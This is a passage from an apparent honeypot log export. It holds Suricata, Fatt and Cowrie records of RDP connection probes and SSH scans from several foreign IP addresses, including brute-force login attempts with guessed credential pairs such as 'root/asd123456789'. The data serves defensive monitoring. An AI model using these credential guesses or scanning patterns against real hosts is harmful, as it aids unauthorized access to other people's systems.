"EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1501977880646517, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 47208, "dest_port": 3389, "timestamp": "2021-09-20T12:09:45.166368Z", "@timestamp": "2021-09-20T12:09:45.166Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35620	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:09:45.324995+03	2021-09-20 15:15:03.50369+03	{"_id": "YAYcA3wBvYTbRNuEtl34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:45.086901+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1501977880646517, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 47208, "dest_port": 3389, "timestamp": "2021-09-20T12:09:45.324995Z", "@timestamp": "2021-09-20T12:09:45.324Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35621	87.251.67.120	109.199.241.180	Fatt	2021-09-20 15:09:45.166368+03	2021-09-20 15:15:03.50469+03	{"_id": "YgYcA3wBvYTbRNuEt136", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 47208, "dest_port": 3389, "timestamp": "2021-09-20T12:09:45.166368", "@timestamp": "2021-09-20T12:09:45.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	MD
35622	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:09:45.166368+03	2021-09-20 15:15:03.50669+03	{"_id": "XwYcA3wBvYTbRNuEtl34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:45.086901+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1501977880646517, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 47208, "dest_port": 3389, "timestamp": "2021-09-20T12:09:45.166368Z", "@timestamp": "2021-09-20T12:09:45.166Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35623	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:45.24651+03	2021-09-20 15:15:03.507691+03	{"_id": "XQYcA3wBvYTbRNuEtl34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:45.086901+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 1501977880646517, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 47208, "timestamp": "2021-09-20T12:09:45.246510Z", "@timestamp": "2021-09-20T12:09:45.246Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35624	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:09:45.324995+03	2021-09-20 15:15:03.50869+03	{"_id": "YQYcA3wBvYTbRNuEtl34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:45.086901+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1501977880646517, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 47208, "dest_port": 3389, "timestamp": "2021-09-20T12:09:45.324995Z", "@timestamp": "2021-09-20T12:09:45.324Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35625	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:09:56.29991+03	2021-09-20 15:15:03.510691+03	{"_id": "mQYcA3wBvYTbRNuE4V35", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:55.948939+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1549061460294347, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56252, "dest_port": 3389, "timestamp": "2021-09-20T12:09:56.299910Z", "@timestamp": "2021-09-20T12:09:56.299Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35631	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:09:58.942786+03	2021-09-20 15:15:03.51869+03	{"_id": "rQYcA3wBvYTbRNuE7F2P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "b5c4f16cdc52", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:09:58.942786Z", "@timestamp": "2021-09-20T12:09:58.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
35626	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:09:56.735409+03	2021-09-20 15:15:03.51169+03	{"_id": "mgYcA3wBvYTbRNuE4V35", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:55.948939+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1549061460294347, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56252, "dest_port": 3389, "timestamp": "2021-09-20T12:09:56.735409Z", "@timestamp": "2021-09-20T12:09:56.735Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35627	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:09:56.29991+03	2021-09-20 15:15:03.513689+03	{"_id": "mwYcA3wBvYTbRNuE4l33", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 56252, "dest_port": 3389, "timestamp": "2021-09-20T12:09:56.299910", "@timestamp": "2021-09-20T12:09:56.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
35628	5.188.62.219	109.199.241.180	Suricata	2021-09-20 15:09:58.731772+03	2021-09-20 15:15:03.51469+03	{"_id": "nAYcA3wBvYTbRNuE6V3K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "flow_id": 1624324319889085, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42640, "dest_port": 22, "timestamp": "2021-09-20T12:09:58.731772Z", "@timestamp": "2021-09-20T12:09:58.731Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
35629	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:58.673132+03	2021-09-20 15:15:03.51569+03	{"_id": "pwYcA3wBvYTbRNuE610N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.219", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42640, "timestamp": "2021-09-20T12:09:58.673132", "@timestamp": "2021-09-20T12:09:58.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35630	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:09:58.732599+03	2021-09-20 15:15:03.51769+03	{"_id": "rAYcA3wBvYTbRNuE7F2P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "b5c4f16cdc52", "@version": "1", "timestamp": "2021-09-20T12:09:58.732599Z", "@timestamp": "2021-09-20T12:09:58.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
35632	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:09:58.994801+03	2021-09-20 15:15:03.51969+03	{"_id": "sAYcA3wBvYTbRNuE7F2R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "719b0a7cbeb6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:09:58.994801Z", "@timestamp": "2021-09-20T12:09:58.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	FR
35633	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:09:59.033233+03	2021-09-20 15:15:03.521689+03	{"_id": "swYcA3wBvYTbRNuE7F2S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:09:59.033233Z", "@timestamp": "2021-09-20T12:09:59.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	FR
35634	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:09:59.326973+03	2021-09-20 15:15:03.52269+03	{"_id": "tAYcA3wBvYTbRNuE7F2S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.success", "message": "login attempt [root/asd123456789] succeeded", "session": "719b0a7cbeb6", "@version": "1", "password": "asd123456789", "username": "root", "timestamp": "2021-09-20T12:09:59.326973Z", "@timestamp": "2021-09-20T12:09:59.326Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	FR
35635	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:09:59.452901+03	2021-09-20 15:15:03.52369+03	{"_id": "tQYcA3wBvYTbRNuE7F2S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "40f11dd838ea", "@version": "1", "timestamp": "2021-09-20T12:09:59.452901Z", "@timestamp": "2021-09-20T12:09:59.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	FR
35636	163.172.167.225	109.199.241.180	Suricata	2021-09-20 15:09:59.032537+03	2021-09-20 15:15:03.52469+03	{"_id": "twYcA3wBvYTbRNuE7V2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 913694063493665, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37060, "dest_port": 22, "timestamp": "2021-09-20T12:09:59.032537Z", "@timestamp": "2021-09-20T12:09:59.032Z", "event_type": "ssh", 